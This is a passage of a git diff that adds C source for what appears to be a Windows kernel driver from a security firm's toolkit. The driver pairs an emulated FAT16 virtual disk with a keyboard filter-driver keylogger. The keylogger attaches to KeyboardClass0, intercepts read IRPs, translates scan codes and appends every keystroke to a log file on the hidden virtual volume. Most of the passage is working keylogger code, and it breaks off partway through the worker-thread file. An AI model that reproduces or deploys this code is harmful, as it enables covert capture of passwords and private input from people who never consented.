VFSCreateDisk( + &DeviceName, + &DiskName, + &VFSPath, + &VFSObject, + NULL, + &DiskSize, + FAT16 + ); + + // + // Mount Volatile VFS + // + + RtlInitUnicodeString(&DeviceName, L"\\Device\\RawDisk2"); + RtlInitUnicodeString(&DiskName, L"\\DosDevices\\Hd2"); + DiskSize.QuadPart = VFS_MiB(31); + + status = VFSCreateDisk( + &DeviceName, + &DiskName, + NULL, + &VFSObject, + NULL, + &DiskSize, + FAT16 + ); + + return STATUS_SUCCESS; +} + +static NTSTATUS +SetupKeylogger( + IN PDRIVER_OBJECT DriverObject, + IN PUNICODE_STRING regPath + ) +{ + UNICODE_STRING KeyboardClass; + UNICODE_STRING KeylogOutputFile; + + UNREFERENCED_PARAMETER(regPath); + + // + // Initialize Keylogging Subsystem + // + + KeylogInit(DriverObject); + + RtlInitUnicodeString(&KeyboardClass, L"\\Device\\KeyboardClass0"); + RtlInitUnicodeString(&KeylogOutputFile, L"\\??\\Hd1\\Keylog.txt"); + + KeylogAttachDevice(&KeyboardClass, &KeylogOutputFile); + + return STATUS_SUCCESS; +} \ No newline at end of file diff --git a/src/ioctl.c b/src/ioctl.c new file mode 100755 index 0000000..f753b72 --- /dev/null +++ b/src/ioctl.c @@ -0,0 +1,207 @@ +/* + * Copyright 2022 Praetorian Security, Inc. + * + * Licensed under the Apache License, Version 2.0 (the "License"); + * you may not use this file except in compliance with the License. + * You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for the specific language governing permissions and + * limitations under the License. + */ + +#include + +#include "ioctl.h" +#include "vfs.h" + +static VOID VFSDiskVerify(PIO_STACK_LOCATION irpStack, PVFS_DEVICE_EXTENSION VFSExtension, PIRP irp); +static VOID VFSGetDiskLengthInfo(PIO_STACK_LOCATION irpStack, PVFS_DEVICE_EXTENSION VFSExtension, PIRP irp); +static VOID VFSGetParitionInfo(IN PIO_STACK_LOCATION irpStack, IN PVFS_DEVICE_EXTENSION VFSExtension, IN OUT PIRP irp); +static VOID VFSGetParitionInfoEx(PIO_STACK_LOCATION irpStack, IN PVFS_DEVICE_EXTENSION VFSExtension, IN OUT PIRP irp); +static VOID VFSQueryDiskGeometry(PIO_STACK_LOCATION irpStack, PVFS_DEVICE_EXTENSION VFSExtension, PIRP irp); + +NTSTATUS +VFSIoctl( + IN PDEVICE_OBJECT DeviceObject, + OUT PIRP irp + ) + +/*++ + + Routine Description: + + This component processes IOCTLs required for a device which emulates a hard disk drive + + Arguments: + + DeviceObject is the deivce object associated with the driver + + irp is the IRP associated with the IOCTL request + + Return Value: + + Returns an NTSTATUS value indicating success/failure of processing + of IOCTL + + --*/ + +{ + NTSTATUS status = STATUS_SUCCESS; + PIO_STACK_LOCATION irpStack = IoGetCurrentIrpStackLocation(irp); + PVFS_DEVICE_EXTENSION VFSExtension = VFS_EXTENSION(DeviceObject); + + // + // Handles Windows Disk Driver IOCTLs Required for Emulating a Hard Drive + // + + switch (irpStack->Parameters.DeviceIoControl.IoControlCode) { + + case IOCTL_DISK_GET_MEDIA_TYPES: + case IOCTL_CDROM_GET_DRIVE_GEOMETRY: + case IOCTL_DISK_GET_DRIVE_GEOMETRY: + DbgPrint("[IG VFS] IOCTL_DISK_GET_DRIVE_GEOMETRY"); + VFSQueryDiskGeometry(irpStack, VFSExtension, irp); + break; + + case IOCTL_DISK_GET_PARTITION_INFO: + DbgPrint("[IG VFS] IOCTL_DISK_GET_PARTITION_INFO"); + VFSGetParitionInfo(irpStack, VFSExtension, irp); + break; + + case IOCTL_DISK_GET_LENGTH_INFO: + DbgPrint("[IG VFS] IOCTL_DISK_GET_LENGTH_INFO"); + VFSGetDiskLengthInfo(irpStack, VFSExtension, irp); + break; + + case IOCTL_DISK_CHECK_VERIFY: + case IOCTL_DISK_IS_WRITABLE: + case IOCTL_DISK_MEDIA_REMOVAL: + case IOCTL_DISK_SET_PARTITION_INFO: + case IOCTL_DISK_VERIFY: + case IOCTL_MOUNTDEV_QUERY_DEVICE_NAME: + case IOCTL_STORAGE_CHECK_VERIFY2: + case IOCTL_STORAGE_CHECK_VERIFY: + case IOCTL_STORAGE_MEDIA_REMOVAL: + irp->IoStatus.Status = STATUS_SUCCESS; + irp->IoStatus.Information = 0; + break; + + default: + irp->IoStatus.Status = STATUS_INVALID_DEVICE_REQUEST; + irp->IoStatus.Information = 0; + break; + } + + status = irp->IoStatus.Status; + IoCompleteRequest(irp, IO_NO_INCREMENT); + return status; +} + +VOID +VFSGetParitionInfo( + PIO_STACK_LOCATION irpStack, + IN PVFS_DEVICE_EXTENSION DeviceExtension, + IN OUT PIRP irp + ) +{ + PPARTITION_INFORMATION partition; + + if (irpStack->Parameters.DeviceIoControl.OutputBufferLength + < sizeof(PARTITION_INFORMATION)) { + irp->IoStatus.Status = STATUS_INVALID_PARAMETER; + return; + } + + partition = (PPARTITION_INFORMATION)(irp->AssociatedIrp.SystemBuffer); + + partition->PartitionType = PARTITION_FAT32; + partition->PartitionNumber = 1; + + partition->BootIndicator = FALSE; + partition->RecognizedPartition = TRUE; + partition->RewritePartition = FALSE; + + partition->StartingOffset.QuadPart = (ULONGLONG)(0); + partition->PartitionLength.QuadPart = DeviceExtension->DiskSize; + partition->HiddenSectors = 0; + + irp->IoStatus.Status = STATUS_SUCCESS; + irp->IoStatus.Information = sizeof(PARTITION_INFORMATION); +} + +VOID +VFSQueryDiskGeometry( + PIO_STACK_LOCATION irpStack, + PVFS_DEVICE_EXTENSION DeviceExtension, + PIRP irp + ) +{ + PDISK_GEOMETRY geometry; + + if (irpStack->Parameters.DeviceIoControl.OutputBufferLength < sizeof(DISK_GEOMETRY)) { + irp->IoStatus.Status = STATUS_BUFFER_TOO_SMALL; + irp->IoStatus.Information = 0; + return; + } + + geometry = (PDISK_GEOMETRY) irp->AssociatedIrp.SystemBuffer; + + RtlCopyMemory(geometry, &DeviceExtension->DiskGeometry, sizeof(DISK_GEOMETRY)); + + irp->IoStatus.Status = STATUS_SUCCESS; + irp->IoStatus.Information = sizeof(DISK_GEOMETRY); +} + +VOID +VFSGetDiskLengthInfo( + PIO_STACK_LOCATION irpStack, + PVFS_DEVICE_EXTENSION VFSExtension, + PIRP irp + ) +{ + PGET_LENGTH_INFORMATION length; + + if (irpStack->Parameters.DeviceIoControl.OutputBufferLength < + sizeof(GET_LENGTH_INFORMATION)) + { + irp->IoStatus.Status = STATUS_BUFFER_TOO_SMALL; + irp->IoStatus.Information = 0; + return; + } + + length = (PGET_LENGTH_INFORMATION) irp->AssociatedIrp.SystemBuffer; + length->Length.QuadPart = VFSExtension->DiskSize; + + irp->IoStatus.Status = STATUS_SUCCESS; + irp->IoStatus.Information = sizeof(GET_LENGTH_INFORMATION); +} + +VOID +VFSDiskVerify( + PIO_STACK_LOCATION irpStack, + PVFS_DEVICE_EXTENSION VFSExtension, + PIRP irp + ) +{ + PVERIFY_INFORMATION verify_information; + + UNREFERENCED_PARAMETER(VFSExtension); + + if (irpStack->Parameters.DeviceIoControl.InputBufferLength < + sizeof(VERIFY_INFORMATION)) + { + irp->IoStatus.Status = STATUS_INVALID_PARAMETER; + irp->IoStatus.Information = 0; + return; + } + + verify_information = (PVERIFY_INFORMATION) irp->AssociatedIrp.SystemBuffer; + + irp->IoStatus.Status = STATUS_SUCCESS; + irp->IoStatus.Information = verify_information->Length; +} \ No newline at end of file diff --git a/src/ioctl.h b/src/ioctl.h new file mode 100644 index 0000000..9ed50aa --- /dev/null +++ b/src/ioctl.h @@ -0,0 +1,27 @@ +/* + * Copyright 2022 Praetorian Security, Inc. + * + * Licensed under the Apache License, Version 2.0 (the "License"); + * you may not use this file except in compliance with the License. + * You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for the specific language governing permissions and + * limitations under the License. + */ + +#pragma once + +#include + +#include "vfs.h" + +// +// IRP Major Function for Handling IOCTL +// + +NTSTATUS VFSIoctl(IN PDEVICE_OBJECT DeviceObject, IN PIRP irp); diff --git a/src/keyboardio.c b/src/keyboardio.c new file mode 100755 index 0000000..38c9d16 --- /dev/null +++ b/src/keyboardio.c @@ -0,0 +1,146 @@ +/* + * Copyright 2022 Praetorian Security, Inc. + * + * Licensed under the Apache License, Version 2.0 (the "License"); + * you may not use this file except in compliance with the License. + * You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for the specific language governing permissions and + * limitations under the License. + */ + +#include + +#include "keylog.h" +#include "ntundoc.h" +#include "klogworker.h" +#include "keyboardio.h" + +NTSTATUS +KeylogRead( + IN PDEVICE_OBJECT DeviceObject, + IN PIRP irp + ) + +/*++ + + Routine Description: + + Tag IRP_MJ_READ requests for completion so we can get the keystrokes returned + by lower level keyboard drivers + + Arguments: + + Standard IRP_MJ_READ handler + + Return Value: + + Returns status value returned by underlying driver on the device stack + +--*/ + +{ + PIO_STACK_LOCATION currentIrpStack; + PIO_STACK_LOCATION nextIrpStack; + + currentIrpStack = IoGetCurrentIrpStackLocation(irp); + nextIrpStack = IoGetNextIrpStackLocation(irp); + *nextIrpStack = *currentIrpStack; + + IoSetCompletionRoutine(irp, + KeylogReadCompletion, + DeviceObject, + TRUE, + TRUE, + TRUE); + + return IoCallDriver(((PKEYLOG_DEVICE_EXTENSION) DeviceObject->DeviceExtension)->KeyboardDevice ,irp); +} + +NTSTATUS +KeylogReadCompletion( + IN PDEVICE_OBJECT DeviceObject, + IN PIRP irp, + IN PVOID Context + ) + +/*++ + + Routine Description: + + Add intercepted keystrokes to work queue for processing by worker thread. Needed + due to the fact that keystroke processing must operate at an IRQL of PASSIVE_LEVEL + + Arguments: + + DeviceObject - Device Object associated with the completion routine + + irp - I/O Request Packet being completed + + Context - Pointer to keylogger device object + + Return Value: + + Returns an NTSTATUS value preserving the values/sttaus returned by underlying + devices on the stack + +--*/ + +{ + unsigned int count, NumKeys; + KEY_DATA *kData; + PKEYBOARD_INPUT_DATA keys; + PKEYLOG_DEVICE_EXTENSION KeylogExtension; + + UNREFERENCED_PARAMETER(Context); + + KeylogExtension = (PKEYLOG_DEVICE_EXTENSION) DeviceObject->DeviceExtension; + + if(!NT_SUCCESS(irp->IoStatus.Status)) { + DbgPrint("[Keylog] IRP_MJ_READ IRP Failed Skipping Processing IRP"); + goto cleanup_irp_failed; + } + + keys = (PKEYBOARD_INPUT_DATA)irp->AssociatedIrp.SystemBuffer; + NumKeys = (unsigned int)irp->IoStatus.Information / sizeof(KEYBOARD_INPUT_DATA); + + for(count = 0; count < NumKeys; count++) { + + // + // Add keyboard data to work queue + // + + kData = (KEY_DATA*)ExAllocatePool(NonPagedPool,sizeof(KEY_DATA)); + + if(kData == NULL) { + DbgPrint("[Keylog] Failed to allocate memory for kData structure"); + break; + } + + kData->KeyData = (char)keys[count].MakeCode; + kData->KeyFlags = (char)keys[count].Flags; + + ExInterlockedInsertTailList(&KeylogExtension->QueueListHead, + &kData->ListEntry, + &KeylogExtension->lockQueue); + + // + // Let worker thread know we added new item to queue if it is sleeping + // + + KeReleaseSemaphore(&KeylogExtension->semQueue, 0, 1, FALSE); + } + +cleanup_irp_failed: + + if(irp->PendingReturned) { + IoMarkIrpPending(irp); + } + + return irp->IoStatus.Status; +} diff --git a/src/keyboardio.h b/src/keyboardio.h new file mode 100644 index 0000000..5b7df96 --- /dev/null +++ b/src/keyboardio.h @@ -0,0 +1,33 @@ +/* + * Copyright 2022 Praetorian Security, Inc. + * + * Licensed under the Apache License, Version 2.0 (the "License"); + * you may not use this file except in compliance with the License. + * You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for the specific language governing permissions and + * limitations under the License. + */ + +#pragma once + +#include + +NTSTATUS +KeylogRead( + IN PDEVICE_OBJECT DeviceObject, + IN PIRP irp + ); + +NTSTATUS +KeylogReadCompletion( + IN PDEVICE_OBJECT DeviceObject, + IN PIRP irp, + IN PVOID Context + ); + diff --git a/src/keylog.c b/src/keylog.c new file mode 100755 index 0000000..bc1e4bb --- /dev/null +++ b/src/keylog.c @@ -0,0 +1,206 @@ +/* + * Copyright 2022 Praetorian Security, Inc. + * + * Licensed under the Apache License, Version 2.0 (the "License"); + * you may not use this file except in compliance with the License. + * You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for the specific language governing permissions and + * limitations under the License. + */ + +#include + +#include "klogcompat.h" +#include "keylog.h" +#include "keymap.h" +#include "ntundoc.h" +#include "klogworker.h" +#include "keyboardio.h" + +// +// Driver object used for all keylogger components +// + +static PDRIVER_OBJECT KeyloggerDriver; + +NTSTATUS +KeylogInit( + IN PDRIVER_OBJECT DriverObject + ) + +/*++ + + Routine Description: + + Initializes the keylogging subsystem by setting up IRP major function + handlers for the driver object associated with the keylogger + + Arguments: + + DriverObject - Driver object to be used by the keylogging subsystem + + Return Value: + + Returns success/failure NTSTATUS values + +--*/ + +{ + unsigned int i = 0; + + // + // Basic error checking of passed in driver object + // + + if(DriverObject == NULL) { + DbgPrint("[Keylog] Initialization failed driver object is null"); + return STATUS_UNSUCCESSFUL; + + } + + KeyloggerDriver = DriverObject; + + // + // Filter driver needs to support pass through of + // unsupported IRPs to underlying device stack + // + + for(i = 0; i < IRP_MJ_MAXIMUM_FUNCTION; i++) { + DriverObject->MajorFunction[i] = DispatchPassThrough; + } + + DriverObject->MajorFunction[IRP_MJ_READ] = KeylogRead; + + return STATUS_SUCCESS; +} + +NTSTATUS +KeylogAttachDevice( + PUNICODE_STRING KeyboardName, + PUNICODE_STRING KeylogFilePath + ) + +/*++ + + Routine Description: + + Attach to device stack of the specified keyboard device + + Arguments: + + KeyboardName - Name of device object (e.g. KeyboardClass0) + + KeylogFilePat - File path to write keystrokes + + Return Value: + + Success/failure of attaching to device stack + +--*/ + +{ + IO_STATUS_BLOCK file_status; + NTSTATUS status = STATUS_SUCCESS; + OBJECT_ATTRIBUTES obj_attrib; + PKEYLOG_DEVICE_EXTENSION KeylogExtension; + PDEVICE_OBJECT KeyboardDeviceObject; + + PAGED_CODE(); + + status = IoCreateDevice(KeyloggerDriver, + sizeof(KEYLOG_DEVICE_EXTENSION), + NULL, + FILE_DEVICE_KEYBOARD, + 0, + FALSE, + &KeyboardDeviceObject); + + if(!NT_SUCCESS(status)) { + DbgPrint("[Keylog] Failed to Create Device Object for Keylogger"); + return status; + } + + // + // Since we are acting as a filter driver our driver needs to have the same + // flags/attributes as the underlying driver stack we are attaching to + // otherwise we will not be able to attach to device stack or BSOD + // + + KeyboardDeviceObject->Flags = KeyboardDeviceObject->Flags | (DO_BUFFERED_IO | DO_POWER_PAGABLE); + KeyboardDeviceObject->Flags = KeyboardDeviceObject->Flags & ~DO_DEVICE_INITIALIZING; + + // + // Initialize device extension for device we are hooking + // + + RtlZeroMemory(KeyboardDeviceObject->DeviceExtension, sizeof(KEYLOG_DEVICE_EXTENSION)); + KeylogExtension = (PKEYLOG_DEVICE_EXTENSION)KeyboardDeviceObject->DeviceExtension; + + // + // Attach to device stack of driver + // + + status = IoAttachDevice(KeyboardDeviceObject, + KeyboardName, + &KeylogExtension->KeyboardDevice); + + if(!NT_SUCCESS(status)) { + DbgPrint("[Keylog] Failed to attach to device stack [%ws]", KeyboardName->Buffer); + return status; + } + + // + // Initialize synchronization primitives between dispatch + // routines and worker threads + // + + InitializeListHead(&KeylogExtension->QueueListHead); + KeInitializeSpinLock(&KeylogExtension->lockQueue); + KeInitializeSemaphore(&KeylogExtension->semQueue, 0 , MAXLONG); + + // + // Open logfile for keylogging module + // + + InitializeObjectAttributes(&obj_attrib, + KeylogFilePath, + OBJ_CASE_INSENSITIVE, + NULL, + NULL); + + status = ZwCreateFile(&KeylogExtension->KeystrokeFile, + FILE_APPEND_DATA, + &obj_attrib, + &file_status, + NULL, + FILE_ATTRIBUTE_NORMAL, + FILE_SHARE_READ, + FILE_OPEN_IF, + FILE_SYNCHRONOUS_IO_NONALERT, + NULL, + 0); + + if(!NT_SUCCESS(status)) { + DbgPrint("[Keylog] Failed to open keylog log file"); + KeylogExtension->KeystrokeFile = NULL; + } + + // + // Creating worker thread to handle logging of keypresses + // + + status = InitializeKeylogWorker(KeyboardDeviceObject); + + if(!NT_SUCCESS(status)) { + DbgPrint("[Keylog] Failed to start worker thread, keylogger initialization failed"); + return status; + } + + return status; +} \ No newline at end of file diff --git a/src/keylog.h b/src/keylog.h new file mode 100755 index 0000000..156f9a8 --- /dev/null +++ b/src/keylog.h @@ -0,0 +1,60 @@ +/* + * Copyright 2022 Praetorian Security, Inc. + * + * Licensed under the Apache License, Version 2.0 (the "License"); + * you may not use this file except in compliance with the License. + * You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for the specific language governing permissions and + * limitations under the License. + */ + +#pragma once + +#include + +// +// Disable compiler warnings +// + +#pragma warning( disable: 4995 ) +#pragma warning( disable: 4996 ) + +typedef struct _KEY_STATE +{ + int kSHIFT; //if the shift key is pressed + int kCAPSLOCK; //if the caps lock key is pressed down + int kCTRL; //if the control key is pressed down + int kALT; //if the alt key is pressed down +} KEY_STATE; + +typedef struct _KEY_DATA +{ + LIST_ENTRY ListEntry; + char KeyData; + char KeyFlags; +} KEY_DATA; + +typedef struct _KEYLOG_DEVICE_EXTENSION +{ + PDEVICE_OBJECT KeyboardDevice; // Pointer to device object below us on the driver stack + PETHREAD ThreadObj; // Pointer to worker thread object + int ThreadTerminate; // Mechanism to signal worker thread to terminate itself + + KEY_STATE kState; // State of keystrokes when processing key-press combinations + HANDLE KeystrokeFile; // Handle to file object which we use to write intercepted keys to disk + + PDEVICE_OBJECT KeyboardDeviceObject; + + KSEMAPHORE semQueue; // Used to tell worker thread that there is now data in the queue + KSPIN_LOCK lockQueue; // Used to synchronize access to linked list of keystrokes + LIST_ENTRY QueueListHead; // Stores linked list of pressed keys +} KEYLOG_DEVICE_EXTENSION, *PKEYLOG_DEVICE_EXTENSION; + +NTSTATUS KeylogAttachDevice(PUNICODE_STRING KeyboardName, PUNICODE_STRING KeylogFilePath); +NTSTATUS KeylogInit(IN PDRIVER_OBJECT DriverObject); diff --git a/src/keymap.c b/src/keymap.c new file mode 100755 index 0000000..78ae73d --- /dev/null +++ b/src/keymap.c @@ -0,0 +1,321 @@ +/* + * Copyright 2022 Praetorian Security, Inc. + * + * Licensed under the Apache License, Version 2.0 (the "License"); + * you may not use this file except in compliance with the License. + * You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for the specific language governing permissions and + * limitations under the License. + */ + +#include + +#include "keymap.h" +#include "keylog.h" +#include "ntundoc.h" + +/* + * US Keyboard Layout Mappings + * + * Source: http://www.quadibloc.com/comp/scan.htm + */ +#define INVALID 0X00 +#define SPACE 0X01 +#define ENTER 0X02 +#define LSHIFT 0x03 +#define RSHIFT 0x04 +#define CTRL 0x05 +#define ALT 0x06 +#define BACKSPACE 0x07 +#define ESC 0x08 +#define TAB 0x09 + +char KeyMap[84] = { + INVALID, //0 + INVALID, //1 + '1', //2 + '2', //3 + '3', //4 + '4', //5 + '5', //6 + '6', //7 + '7', //8 + '8', //9 + '9', //A + '0', //B + '-', //C + '=', //D + BACKSPACE, //E + TAB, //F + 'q', //10 + 'w', //11 + 'e', //12 + 'r', //13 + 't', //14 + 'y', //15 + 'u', //16 + 'i', //17 + 'o', //18 + 'p', //19 + '[', //1A + ']', //1B + ENTER, //1C + CTRL, //1D + 'a', //1E + 's', //1F + 'd', //20 + 'f', //21 + 'g', //22 + 'h', //23 + 'j', //24 + 'k', //25 + 'l', //26 + ';', //27 + '\'', //28 + '`', //29 + LSHIFT, //2A + '\\', //2B + 'z', //2C + 'x', //2D + 'c', //2E + 'v', //2F + 'b', //30 + 'n', //31 + 'm' , //32 + ',', //33 + '.', //34 + '/', //35 + RSHIFT, //36 + INVALID, //37 + ALT, //38 + SPACE, //39 + INVALID, //3A + INVALID, //3B + INVALID, //3C + INVALID, //3D + INVALID, //3E + INVALID, //3F + INVALID, //40 + INVALID, //41 + INVALID, //42 + INVALID, //43 + INVALID, //44 + INVALID, //45 + INVALID, //46 + '7', //47 + '8', //48 + '9', //49 + INVALID, //4A + '4', //4B + '5', //4C + '6', //4D + INVALID, //4E + '1', //4F + '2', //50 + '3', //51 + '0', //52 +}; + +/////////////////////////////////////////////////////////////////////// +//The Extended Key Map is used for those scan codes that can map to +//more than one key. This mapping is usually determined by the +//states of other keys (ie. the shift must be pressed down with a letter +//to make it uppercase). +/////////////////////////////////////////////////////////////////////// +char ExtendedKeyMap[84] = { + INVALID, //0 + INVALID, //1 + '!', //2 + '@', //3 + '#', //4 + '$', //5 + '%', //6 + '^', //7 + '&', //8 + '*', //9 + '(', //A + ')', //B + '_', //C + '+', //D + BACKSPACE, //E + TAB, //F + 'Q', //10 + 'W', //11 + 'E', //12 + 'R', //13 + 'T', //14 + 'Y', //15 + 'U', //16 + 'I', //17 + 'O', //18 + 'P', //19 + '{', //1A + '}', //1B + ENTER, //1C + CTRL, //1D + 'A', //1E + 'S', //1F + 'D', //20 + 'F', //21 + 'G', //22 + 'H', //23 + 'J', //24 + 'K', //25 + 'L', //26 + ':', //27 + '"', //28 + '~', //29 + LSHIFT, //2A + '|', //2B + 'Z', //2C + 'X', //2D + 'C', //2E + 'V', //2F + 'B', //30 + 'N', //31 + 'M' , //32 + '<', //33 + '>', //34 + '?', //35 + RSHIFT, //36 + INVALID, //37 + INVALID, //38 + SPACE, //39 + INVALID, //3A + INVALID, //3B + INVALID, //3C + INVALID, //3D + INVALID, //3E + INVALID, //3F + INVALID, //40 + INVALID, //41 + INVALID, //42 + INVALID, //43 + INVALID, //44 + INVALID, //45 + INVALID, //46 + '7', //47 + '8', //48 + '9', //49 + INVALID, //4A + '4', //4B + '5', //4C + '6', //4D + INVALID, //4E + '1', //4F + '2', //50 + '3', //51 + '0', //52 +}; + +/* + * Write string to keylog file + */ +void WriteStringToLog(HANDLE hFile, char *str) +{ + if(hFile != NULL) { + IO_STATUS_BLOCK io_status; + ZwWriteFile(hFile, NULL, NULL, NULL, + &io_status, str, (ULONG)strlen(str), + NULL, NULL); + } +} +/* + * Write char to keyboard file + */ +VOID +WriteCharToLog( + HANDLE hFile, + char c + ) +{ + if(hFile != NULL) { + IO_STATUS_BLOCK io_status; + ZwWriteFile(hFile,NULL, NULL, NULL, &io_status, &c, 1, NULL, NULL); + } +} + +/* + * Write intercepted keystroke to log file + */ +VOID +WriteKeystrokeToLog( + PKEYLOG_DEVICE_EXTENSION pDevExt, + KEY_DATA *kData + ) +{ + char key; + int flag; + key = KeyMap[kData->KeyData]; + flag = 0; + + switch(key) { + case LSHIFT: + case RSHIFT: + if(kData->KeyFlags == KEY_MAKE) { + pDevExt->kState.kSHIFT = TRUE; + } else { + pDevExt->kState.kSHIFT = FALSE; + } + break; + case CTRL: + if(kData->KeyFlags == KEY_MAKE) { + WriteStringToLog(pDevExt->KeystrokeFile, "[CTRL]"); + pDevExt->kState.kCTRL = TRUE; + } else { + pDevExt->kState.kCTRL = FALSE; + } + break; + case ALT: + if(kData->KeyFlags == KEY_MAKE) { + WriteStringToLog(pDevExt->KeystrokeFile, "[ALT]"); + pDevExt->kState.kALT = TRUE; + } else { + pDevExt->kState.kALT = FALSE; + } + break; + case SPACE: + if((pDevExt->kState.kALT != TRUE) && (kData->KeyFlags == KEY_MAKE)) { + WriteStringToLog(pDevExt->KeystrokeFile, "[SPACE]"); + } + break; + case ENTER: + if((pDevExt->kState.kALT != TRUE) && (kData->KeyFlags == KEY_MAKE)) { + WriteStringToLog(pDevExt->KeystrokeFile, "[ENTER]"); + } + break; + case BACKSPACE: + if(kData->KeyFlags == KEY_MAKE) { + WriteStringToLog(pDevExt->KeystrokeFile, "[BACKSPACE]"); + } + break; + case ESC: + if(kData->KeyFlags == KEY_MAKE) { + WriteStringToLog(pDevExt->KeystrokeFile, "[ESC]"); + } + break; + case TAB: + if(kData->KeyFlags == KEY_MAKE) { + WriteStringToLog(pDevExt->KeystrokeFile, "[TAB]"); + } + break; + default: + if((pDevExt->kState.kALT != TRUE) && (pDevExt->kState.kCTRL != TRUE) + && (kData->KeyFlags == KEY_MAKE)) { + if((key >= 0x21) && (key <= 0x7E)) { + if(pDevExt->kState.kSHIFT || flag == KEYBOARD_CAPS_LOCK_ON) { + WriteCharToLog(pDevExt->KeystrokeFile, ExtendedKeyMap[kData->KeyData]); + } else { + WriteCharToLog(pDevExt->KeystrokeFile, key); + } + } + } + break; + } +} diff --git a/src/keymap.h b/src/keymap.h new file mode 100644 index 0000000..2d3e53e --- /dev/null +++ b/src/keymap.h @@ -0,0 +1,24 @@ +/* + * Copyright 2022 Praetorian Security, Inc. + * + * Licensed under the Apache License, Version 2.0 (the "License"); + * you may not use this file except in compliance with the License. + * You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for the specific language governing permissions and + * limitations under the License. + */ + +#pragma once + +#include + +#include "keylog.h" + +void WriteKeystrokeToLog(PKEYLOG_DEVICE_EXTENSION pDevExt, KEY_DATA *kData); + diff --git a/src/klogcompat.c b/src/klogcompat.c new file mode 100755 index 0000000..59e9c48 --- /dev/null +++ b/src/klogcompat.c @@ -0,0 +1,72 @@ +/* + * Copyright 2022 Praetorian Security, Inc. + * + * Licensed under the Apache License, Version 2.0 (the "License"); + * you may not use this file except in compliance with the License. + * You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for the specific language governing permissions and + * limitations under the License. + */ + +#include + +#include "klogcompat.h" +#include "keylog.h" + +NTSTATUS +DispatchIRPUnsupported( + IN PDEVICE_OBJECT DeviceObject, + IN PIRP irp + ) + +/*++ + + Routine Description: + + Generic handler for IRPs which are not supported we return a + status of STATUS_NOT_IMPLEMENTED + + Arguments: + + DeviceObject - device associated with the IRP + + irp - I/O Request Packet + + Return Value: + + Returns status saying that the request is not implemented + +--*/ + +{ + NTSTATUS status; + + UNREFERENCED_PARAMETER(DeviceObject); + + // + // Since we are the lowest level driver in the device stack we + // do not have a lower level driver for which we need to pass + // unsupported IRPs + // + + status = irp->IoStatus.Status = STATUS_NOT_IMPLEMENTED; + IoCompleteRequest(irp, IO_NO_INCREMENT); + + return status; +} + +NTSTATUS +DispatchPassThrough( + IN PDEVICE_OBJECT DeviceObject, + IN PIRP irp + ) +{ + IoSkipCurrentIrpStackLocation(irp); + return IoCallDriver(((PKEYLOG_DEVICE_EXTENSION) DeviceObject->DeviceExtension)->KeyboardDevice ,irp); +} diff --git a/src/klogcompat.h b/src/klogcompat.h new file mode 100644 index 0000000..58fdaed --- /dev/null +++ b/src/klogcompat.h @@ -0,0 +1,31 @@ +/* + * Copyright 2022 Praetorian Security, Inc. + * + * Licensed under the Apache License, Version 2.0 (the "License"); + * you may not use this file except in compliance with the License. + * You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for the specific language governing permissions and + * limitations under the License. + */ + +#pragma once + +#include "keylog.h" + +NTSTATUS +DispatchIRPUnsupported( + IN PDEVICE_OBJECT DeviceObject, + IN PIRP irp + ); + +NTSTATUS +DispatchPassThrough( + IN PDEVICE_OBJECT DeviceObject, + IN PIRP irp + ); diff --git a/src/klogworker.c b/src/klogworker.c new file mode 100755 index 0000000..fbfb2e0 --- /dev/null +++ b/src/klogworker.c @@ -0,0 +1,132 @@ +/* + * Copyright 2022 Praetorian Security, Inc. + * + * Licensed under the Apache License, Version 2.0 (the "License"); + * you may not use this file except in compliance with the License. + * You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for the specific language governing permissions and + * limitations under the License. + */ + +#include + +#include "keylog.h" +#include "klogworker.h" +#include "keymap.h" + +NTSTATUS +InitializeKeylogWorker( + IN PDEVICE_OBJECT DeviceObject + ) + +/*++ + + Routine Description: + + Initializes worker 